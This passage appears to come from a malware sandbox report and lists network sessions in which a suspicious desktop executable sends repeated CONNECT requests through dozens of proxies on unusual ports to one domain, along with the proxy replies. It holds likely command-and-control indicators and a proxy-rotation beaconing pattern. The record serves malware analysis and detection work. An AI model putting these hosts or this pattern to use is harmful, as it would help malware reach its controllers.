Mar 11, 2024 16:42:24.715837002 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.11	52090	43.157.47.7	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.169656992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.11	51605	20.219.177.73	3129	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.171870947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.573534012 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.11	49780	131.100.48.75	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.178775072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.311403990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.375710964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.735443115 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.11	51721	218.252.244.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.182405949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.11	51695	194.247.173.17	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.188368082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.11	51525	120.234.203.171	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.189918995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.812536001 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.11	49745	103.226.232.188	3125	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.193322897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.242535114 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.11	51855	72.10.160.90	29129	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.193322897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.11	51674	91.202.230.219	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.195300102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.11	51780	221.153.92.39	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.199995995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.11	51772	37.187.77.58	14470	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.202204943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.938534021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.884996891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.735887051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.504610062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.142291069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.829531908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.071110010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.579566002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.11	51666	58.246.58.150	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.241909027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.046821117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.427607059 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.11	51704	62.141.70.118	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.242222071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.615780115 CET	529	IN	HTTP/1.1 501 Not Implemented Access-Control-Allow-Origin: * Content-Type: text/html Content-Length: 357 Date: Mon, 11 Mar 2024 15:32:06 GMT Server: lighttpd/1.4.28 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 2d 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 35 30 31 20 2d 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>501 - Not Implemented</title> </head> <body> <h1>501 - Not Implemented</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.11	51728	4.144.161.159	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.243508101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.11	51623	43.231.22.229	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.243978977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.656389952 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.11	51696	49.4.48.128	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.243999958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.11	51758	91.148.127.162	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.244060040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.11	51770	193.239.58.92	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.244093895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.11	51961	104.17.50.45	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.244260073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.399529934 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.11	51944	146.19.106.42	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.244354010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.11	52115	218.145.131.182	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.244467020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.11	51094	86.107.179.234	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.244477034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.376271009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376982927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.376633883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.375993013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.11	51859	45.228.235.25	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.249397039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.859124899 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.11	51803	211.222.252.187	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.250416040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.556654930 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.11	51810	140.82.35.234	44444	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.252655029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
